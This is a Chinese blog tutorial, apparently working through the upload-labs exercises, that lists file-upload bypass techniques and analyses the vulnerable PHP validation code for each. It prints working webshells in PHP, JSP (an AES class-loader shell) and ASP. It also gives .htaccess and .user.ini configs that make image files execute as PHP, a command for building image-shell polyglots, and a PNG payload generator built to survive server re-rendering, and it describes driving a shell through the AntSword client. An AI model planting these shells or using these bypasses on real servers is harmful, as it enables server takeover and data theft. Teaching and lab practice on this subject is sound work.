• Web漏洞之文件上传(方式总结)


    未经允许,禁止转载 !
           本实验仅适用于学习和测试 ,严禁违法操作 !

         【点击链接公众号获取相关资料】

    文件上传漏洞简述

    WebShell相关知识

    文件上传绕过方式

    JS前端校验

    MIME类型

    大小写绕过

    后缀双写绕过

    .htaccess绕过

    .user.ini绕过

    %00截断绕过

    Windows特性绕过

    ::$DATA绕过

    文件内容-文件头检测

    二次渲染

    中间件服务器解析漏洞


    文件上传漏洞简述

    文件上传功能是大部分WEB应用的必备功能,网站允许用户自行上传头像、一些社交类网站允许用户上传照片、一些服务类网站需要用户上传证明材料的电子档、电商类网站允许用户上传图片展示商品情况等。然而,看似不起眼的文件上传功能如果没有做好安全防护措施,就存在巨大的安全风险。

    文件上传漏洞原理

    当用户在文件上传的功能模块处进行文件上传时,如果Web应用在文件上传过程中没有对用户上传的文件类型进行严格校验,那么就有可能造成用户上传WebShell,并成功解析达到攻击目的。

    文件上传功能点

    文件上传功能的作用就是将我们本地文件上传到对方服务器中进行保存,显示等操作。

    文件上传功能分布在:头像上传、文件附件、文章编辑、资料认证等位置,可以说随处可见文件上传点

    WebShell相关知识

    WebShell

    最常见的文件上传漏洞的方法就是上传网站木马(webshell)文件,webshell根据不同的语言分为,ASP木马、PHP木马、JSP木马(上传解析类型取决于网站服务端编写语言类),该类木马利用了脚本语言中可以执行命令函数,执行系统命令,文件读取写等功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制获取到网站系统权限。

    Webshell一般分为:大马、小马等.....

    • 大马:大马通常功能比较强大(如提权、写入、执行命令等功能),配合浏览器使用,代码量通常较大,免杀性较低。
    • 小马:功能单一,但是可以配合客户端连接工具使用,代码量小,易于通过变形隐藏特征过滤安全设备查杀。

    不同编程语言Webshell

    • PHP
    <?php @eval($_POST['pass']);?>  或  <?= eval($_REQUEST{999});?>
    • JSP
    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
    <%!class U extends ClassLoader{U(ClassLoader c){super(c);}
    public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
    <%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);
    out.print(k);return;}
    Cipher c=Cipher.getInstance("AES");
    c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
    BASE64Decoder decoder=new sun.misc.BASE64Decoder();
    new U(this.getClass().getClassLoader()).g(c.doFinal(decoder.decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
    • ASP/X
    ASP :<%execute request("cmd")%> 
    ASPX:<%@ Page Language="Jscript"%>

    Webshell功能

    • 小马
    <?php @eval($_POST[cmd]); ?> 

    输入cmd=phpinfo(); 这也是一个任意代码执行,我们通过变量cmd传递的任何指令都会被当做PHP代码来执行。也可以通过这条指令来调用调用系统函数:cmd=system(whomai);

    • 大马

    大马,通常是用来获取目标主机控制权限,对其内网进行渗透、获取内部系统信息、提权等操作。

    Webshell客户端连接工具

    常用Webshell连接工具

    • 蚁剑
    • 冰蝎
    • 哥斯拉
    • 菜刀

    客户端工具(中国蚁剑)

    1. 进入页面后右键添加数据

    1. 填写木马URL、连接密码等信息

    1. 连接成功后我们就可以显示对方服务器文件目录

    1. 也可以右键打开终端或者上传其他木马文件(如上线CS\MSF)

    1. 也可以下载插件到中国蚁剑中进行使用

    其他客户端连接工具大同小异。

    文件上传绕过方式

    在我们进行文件上传的时候,网站代码为了安全,会进行一些过滤,这时候我们需要借助一些绕过方式,来实现上传我们的webshell

    JS前端校验

    解决方式:通过抓包修改后缀,进行上传

    演示

    1. 常规上传PHP文件(发现被拦截)

    1. 上传JPG图片,通过抓包修改后缀

    1. 上传成功(前端检查可以看到我们上传木马路径,也可以通过查看响应包获取路径)

    代码分析

    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name + "|") == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }

    点击上传按钮后,执行checkFile()函数,通过document.getElementsByName('upload_file')获取文件名称并赋值给file,进行if判断,判断提交文件是否为空。

    创建变量allow_ext并存储定义允许上传的文件类型,通过file.substring截取文件名.后面的字符串。

    进行if判断,判断上传得文件名.后字符串,是否在allow_ext中,如果在则上传成功,反之失败。

    可通过前端JavaScript进行校验,通过抓包可以绕过前端JS校验。

    MIME类型

    MIME类型是描述消息内容类型的因特网标准。

    可以通过抓包修改Content-Type的值进行上传木马。

    Content-Type:获取上传的文件类型

    PHP: Content-Type: application/octet-stream
    PNG: Content-Type: image/png
    JPG: Content-Type: image/jpeg
    GIF: Content-Type: image/gif

    演示

    1. 上传修改Content-Type为image/jpg

    代码分析

    $is_upload = false;
    $msg = null;
    // 检测用户是否按Submit提交按钮
    if (isset($_POST['submit'])) {
      //file_exists 函数检查文件或目录是否存在。
        if (file_exists(UPLOAD_PATH)) {
          //$_FILES获取表单显示提交名称
            if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']         
                  //函数把上传的文件移动到新位置。
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '文件类型不正确,请重新上传!';
            }
        } else {
            $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
        }
    }

    点击上传后通过isset判断用户是否点击了提交按钮,通过file_exitsts函数检查文件或者上传目录是否存在,通过$_file获取表单提交得MIME(Content-type)类型,进行if判断对比 如果类型与图片得MIME类型一致,那么就通过move_upload_file函数移动保存文件。

    可通过直接上传JPG图片抓包修改后缀或上传PHP文件抓包修改Content-Type值进行绕过。(我们可以在文件上传时直接上传JPG图片,通过抓包更改,这样可以直接绕过前端或MIME类型验证).

    大小写绕过

    有些程序编写上传点过滤时会过滤常见后缀,如php/asp/aspx/jsp/phtml等,如果为对上传后缀进行小写转换,那么我们即可通过文件后缀名大小写方式进行绕过上传webshell。

    演示

    1. 上传JPG图片,通过修改后缀为大小写进行绕过。

    1. 同样可以进行解析

    注:Windows操作系统下文件名不区分大小写,Linux下区分。所以这个姿势只适合Window操作系统

    代码分析

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
    
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }

    点击上传后来到第6行,创建$deny_ext黑名单数组(包含常见解析后缀名),然后通过$FILES获取文件名,trim()函数对后缀名左右两边进行空格或未预定义字符进行剔除并赋值给$file_name,将$file_name通过deldot()函数去除末尾得点,通过strrchr()函数截取到“.”后的后缀名赋值给$file_ext 通过剔除文件流字符串,首位去空操作后,进行if条件判断,判断$file_ext(后缀名)是否在 $deny_ext数组中,因为有“!”如果存在返回FALSE 如果不存在就进行上传,并通过rand随机生成文件名。

    可以通过文件大小写方式进行绕过,只要后缀名不在黑名单中即可绕过限制。

    后缀双写绕过

    后缀名双写绕过,主要是来绕过我们上传php/jsp/aspx木马时,程序通过匹配将php/jsp/aspx这种可以解析得后缀名替换为空,这样就使我们上传得文件不能是被解析得文件类型。

    如:我们上传(shell.php)文件 -> 经过程序处理过滤 -> 上传文件变成了(shell. )或给我加上后缀jpg 导致无法被解析成一句话木马。

    绕过方式,通过上传shell.pphphp 类似后缀,当程序处理后就变成了shell.php 因为程序将遇到得php后缀替换为了空,所以我们字符串重新拼接组合就又形成了php。

    演示

    1. 常规上传,发现后缀名被替换为空,导致无法解析为php,即可尝试采用双写后缀绕过方式。

    1. 上传修改后缀。

    代码分析

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
    				//获取到得文件名通过trim去除空等字符
            $file_name = trim($_FILES['upload_file']['name']);
          //str_ireplace("规定查找得值","替换的值","规定被搜索得值") 替换文件名中在黑名单数组中得值为空。
            $file_name = str_ireplace($deny_ext,"", $file_name);
          //获取后缀名
            $temp_file = $_FILES['upload_file']['tmp_name'];后缀 
            $img_path = UPLOAD_PATH.'/'.$file_name;        upload/file.php 
              //通过move_uploaded_file 进行移动位置并且将文件名重置匹配过后得文件名($img_path)
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }
    

    点击上传来到第5行,创建$deny_ext黑名单数组,然后通过$_FILES获取文件名,通过trim去除空或未去定义字符并将其结果赋值给$file_name,通过str_ireplace()函数进行匹配替换,如果文件名中有黑名单数组中得关键词就进行替换为(“空”),通过move_uploaded_file 进行剪切将上传文件移动到/upload/目录下并且重新命名为匹配过后得文件名称。

    这种过滤可以采取双写后缀进行绕过,如果程序对文件内容中php等关键词进行绕过可以采取等价(短标签等形式进行解析)如:<?= eval($_REQUEST{999});?>。

    .htaccess绕过

    .htaccess文件时apache服务器中的一个配置文件, 提供了针对目录改变配置的方法 ,通过.htaccess帮我们实现302重定向和400错误页面、改变文件拓展名、允许/阻止特定的用户或者目录的访问,禁止目录列表、配置默认文档等。

    作用域: 该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。

    .htaccess文件内容

    AddType application/x-httpd-php .jpg //将.jpg结尾文件,使用php解析器来解析
    
    &&
    
    <FilesMatch "phpinfo.jpg"> // 将shell.jpg文件,当作php文件来解析
      SetHandler application/x-httpd-php
    </FilesMatch>

    演示

    1. 生成.htaccess文件

    1. 创建shell.jpg文件,文件内容包含php代码 (注:要与.htaccess文件内解析文件名相同)

    1. 分别上传.htaccess\phpinfo.jpg文件 (可以看到phpinfo.jpg图片中得php代码成功解析)

    代码分析

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
          //黑名单数组
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
          //获取文件名称
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
          //截取.后得后缀名
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //收尾去空
    				//判断是后缀名是否在黑名单数组中
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
    
                $img_path = UPLOAD_PATH.'/'.$file_name;
                //剪切存储
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }

    点击上传来到第6行,创建$deny_ext黑名单数组,通过deldot()\strchr()\str_ireplace()\strtolower() 通过部分函数进行替换截取转换操作,将上传后缀名赋值给$file_ext,通过if判断,判断后缀名是否在黑名单数组中,如果存在返回FALSE 不存在则通过move_uploaded_file()进行剪切命名。

    虽然禁用掉了常见可解析后缀名,但是未过滤.htaccess文件,可以配合该文件实现解析功能。

    .user.ini绕过

    .user.ini文件介绍

    php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。

    自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

    除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 这些模式决定着一个 PHP 的指令在何时何地,是否能够被设定。

    .user.ini文件内容

    文件包含操作

    auto_prepend_file = "x.jpg"表示加载第一个PHP代码之前执行指示(包含的)PHP文件
    auto_append_file = "x.jpg"表示加载第一个PHP代码之后执行指示(包含的)PHP文件  

    演示

    1. 创建.user.ini文件 || 创建b.txt文件 ,文件内容为php代码。

    1. 依次上传.user.ini / b.txt 文件

    1. 上传过后访问发现不能解析,但这里有一个局限的点,在.user.ini 中使用这条配置的使用也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件,个人理解:因为需要php文件去加载这个.user.ini配置文件。 (类似于引导文件 -> 执行user.ini -> b.txt)

    提示为:存在readme.php文件,访问发现正常解析

    代码分析

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }

    过程还是一样,对常规修改进行了过滤,但未对.ini文件进行过滤,这样我们就可以通过上传.user.ini文件实现解析。

    %00截断绕过

    介绍

    00截断时操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以0x00作为字符串的结尾,操作系统在识别字符串时,当读取道0x00字符时,就认为读取到了一个字符串的结束符号,因此,我们可以通过修改数据包,插入0x00字符的方式,达到字符串截断的目的。00截断通常时绕过白名单的限制。

    条件

    php版本小于5.3.29

    magic_quotes_gpc=Off

    演示

    1. 上传shell.jpg图片 ,发现路径可控,通过控制路径添加%00实现上传php文件

    将%00通过hex修改为00 00 00上传访问

    1. 上传路径名%00被截断绕过。上传的文件名写成1.jpg不变, 代码保存路径(save_path)改成../upload/abc.php%00,最后保存路径文件就成了 ./upload/abc.php%00/1.jpg当遇到%00时进行自动截断,最后保存的文件就成了abc.php文件

    代码分析

    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
      //创建允许上传的白名单
        $ext_arr = array('jpg','png','gif');
      //截取到.后的文件后缀
        $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
      //判断该后缀是否存在在白名单数组中
        if(in_array($file_ext,$ext_arr)){
          //定义上传文件名称
            $temp_file = $_FILES['upload_file']['tmp_name'];
          //保存路径,通过获取$POST方式提交的路径拼接随机生成的文件名加上截取的后缀,组成保存的文件名
            $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
    
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传失败";
            }
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
        }
    }

    从第12行开始:通过$_POST['save_path']获取提交的文件路径,点拼接/,通过rand生成随机文件名称,通过点拼接. 保存的文件后缀变量名$file_ext;

    过程出错在,路径用户可控,用户输入路径后程序处理形成 : /upload/abc.php%00/随机名称.jpg,因为00截断原理,保存过程中遇到 %00后进行自动截断处理从而形成/upload/abc.php,最后文件内容也同样保存到该文件中。

    Windows特性绕过

    • [". "]点绕过
    • [" "]空格绕过

    利用window对于文件和文件名的限制,以上字符放在结尾时,不符合操作系统的命名规范,在最后生成文件时,字符会被自动去除。

    演示

    1. 上传jpg文件修改后缀为php. 即可绕过黑名单限制

    1. 在Windows操作系统命名时,.是不允许写入到结尾得,windows会自动将其删除掉。

    代码分析

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }

    没有删除末尾得点,deldot($file_name);//删除文件名末尾的点。

    Windows空格绕过原理操作一致。

    ::$DATA绕过

    介绍

    在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

    例如:"phpinfo.php::$DATA"Windows会自动去掉末尾的::$DATA变成"phpinfo.php"

    演示

    1. 上传文件,修改为php后缀加上 ::$DATA

    1. 访问,将后面::$DATA去掉

    代码分析

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])) {
        if (file_exists(UPLOAD_PATH)) {
            $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
            $file_name = trim($_FILES['upload_file']['name']);
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = trim($file_ext); //首尾去空
            
            if (!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['upload_file']['tmp_name'];
                $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                } else {
                    $msg = '上传出错!';
                }
            } else {
                $msg = '此文件类型不允许上传!';
            }
        } else {
            $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        }
    }

    未过滤::$DATA。

    文件内容-文件头检测

    相关知识

    什么是文件头?

    文件头是位于文件开头的一段承担一定任务的数据,一般都在开头的部分,不同得文件,文件头也不同,如:JPG/PNG

    文件头代表了文件是那种类型,我们上传的文件内容如果是只有php代码,那么程序在对我们的文件头部进行检查时,如果发现没有允许上传文件类型的文件头,就会对我们上传文件进行拦截。

    图片马合成

    图片马就是图片中隐藏一句话木马,可以绕过对文件头的检测。

    copy 1.jpg/b + 2.php/a  shell.jpg

    查看shell.jpg可以看到文件头部就是图片文件头,尾部则是我们的php代码,这样的话可以绕过程序对文件头的检测。

    演示

    演示upload-labs十四关需配合文件包含漏洞实现。

    1. 常规上传只有php代码得文件,提示文件未知

    1. 上传图片马

    1. 结合文件包含漏洞进行解析

    代码分析

    function getReailFileType($filename){
        $file = fopen($filename, "rb");
        $bin = fread($file, 2); //只读2字节
        fclose($file);
        // unpack() 函数从二进制字符串对数据进行解包。
        $strInfo = @unpack("C2chars", $bin);    
        $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
        $fileType = '';    
        switch($typeCode){      
            case 255216:            
                $fileType = 'jpg';
                break;
            case 13780:            
                $fileType = 'png';
                break;        
            case 7173:            
                $fileType = 'gif';
                break;
            default:            
                $fileType = 'unknown';
            }    
            return $fileType;
    }
    
    $is_upload = false;
    $msg = null;
    if(isset($_POST['submit'])){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $file_type = getReailFileType($temp_file);
    
        if($file_type == 'unknown'){
            $msg = "文件未知,上传失败!";
        }else{
            $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
            if(move_uploaded_file($temp_file,$img_path)){
                $is_upload = true;
            } else {
                $msg = "上传出错!";
            }
        }
    }
    

    主要是图片马的知识点

    二次渲染

    介绍

    我们上传文件后,网站会对图片进行二次处理包括(格式、分辨率等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片,更加(标准化)并放到网站对应的标签进行显示。

    比如我们上传一个图片马,如果程序进行二次渲染很有可能将php代码给更改掉

    上传图片马 -> 程序渲染 -> 渲染后图片马中一句话木马消失变成了正常的图片。

    如何判断是否为二次渲染。

    1. 判断上传前和上传后的文件大小及内容
    2. 判断上传后的文件返回数据包内容

    绕过二次渲染

    JPG渲染

    上传jpg图片马 包含木马,发现图片马并未解析php代码

    原因:对比原图查看渲染,对比发现渲染后php代码消失了。

    shell.jpg为原图,11111.jpg为渲染后的图,进行对比,找相同处,覆盖字符串,填写一句话后门,这样在程序进行渲染后也可以保留我们的一句话木马内容。

    绕过两种方式(手工/工具)

    1. 手工

    对比渲染前和渲染后图片内容,找到相同处进行插入(也就是未经渲染的位置,需要工具对比,而且有几率不成功)。

    1. 工具
    php.exe payload.php test.php

    生成后图片内容(包含php代码)

    上传工具生成的jpg图片马,文件包含发现可以解析

    在遇到二次渲染时,我们需要配合文件包含/上传.user.ini/.htaccess

    PNG渲染

    保存为php文件,会生成1.png图片

    <?php
    $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
               0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
               0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
               0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
               0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
               0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
               0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
               0x66, 0x44, 0x50, 0x33);
     
     
     
    $img = imagecreatetruecolor(32, 32);
     
    for ($y = 0; $y < sizeof($p); $y += 3) {
       $r = $p[$y];
       $g = $p[$y+1];
       $b = $p[$y+2];
       $color = imagecolorallocate($img, $r, $g, $b);
       imagesetpixel($img, round($y / 3), 0, $color);
    }
     
    imagepng($img,'./1.png');
    ?>
    查看图片内容,查看php代码。

    代码分析

    $is_upload = false;
    $msg = null;
    if (isset($_POST['submit'])){
        // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
        $filename = $_FILES['upload_file']['name'];
        $filetype = $_FILES['upload_file']['type'];
        $tmpname = $_FILES['upload_file']['tmp_name'];
    
        $target_path=UPLOAD_PATH.'/'.basename($filename);
    
        // 获得上传文件的扩展名
        $fileext= substr(strrchr($filename,"."),1);
    
        //判断文件后缀与类型,合法才进行上传操作
        if(($fileext == "jpg") && ($filetype=="image/jpeg")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromjpeg($target_path);
    
                if($im == false){
                    $msg = "该文件不是jpg格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".jpg";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagejpeg($im,$img_path);
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "png") && ($filetype=="image/png")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefrompng($target_path);
    
                if($im == false){
                    $msg = "该文件不是png格式的图片!";
                    @unlink($target_path);
                }else{
                     //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".png";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagepng($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;               
                }
            } else {
                $msg = "上传出错!";
            }
    
        }else if(($fileext == "gif") && ($filetype=="image/gif")){
            if(move_uploaded_file($tmpname,$target_path)){
                //使用上传的图片生成新的图片
                $im = imagecreatefromgif($target_path);
                if($im == false){
                    $msg = "该文件不是gif格式的图片!";
                    @unlink($target_path);
                }else{
                    //给新图片指定文件名
                    srand(time());
                    $newfilename = strval(rand()).".gif";
                    //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                    $img_path = UPLOAD_PATH.'/'.$newfilename;
                    imagegif($im,$img_path);
    
                    @unlink($target_path);
                    $is_upload = true;
                }
            } else {
                $msg = "上传出错!";
            }
        }else{
            $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
        }
    }

    该关卡只允许上传图片后缀,上传过后进过二次渲染,渲染过后给新图片指定文件名,无法上传其他解析名称,需要通过文件包含漏洞。

    中间件服务器解析漏洞

    Apache

    • 未知拓展名解析漏洞
    • AddHandler导致的解析漏洞
    • Apache httpd换行解析漏洞

    IIS

    • IIS6.0解析漏洞
    • IIS7x 解析漏洞

    Nginx

    • 文件解析漏洞

    ......

  • 相关阅读:
    Vue-basic 06.数据代理
    CAN201-Computer Network
    MYSQL函数
    函数中参数传值
    【java】IO流
    数字峰会人气火爆,城链科技引发新一轮商业变革
    SpringBoot核心注解
    SQLite的DBSTAT 虚拟表(三十六)
    『C语言进阶』qsort函数及模拟实现
    SpringBoot+Vue实现前后端分离的学生选课系统
  • 原文地址:https://blog.csdn.net/weixin_49150931/article/details/125579044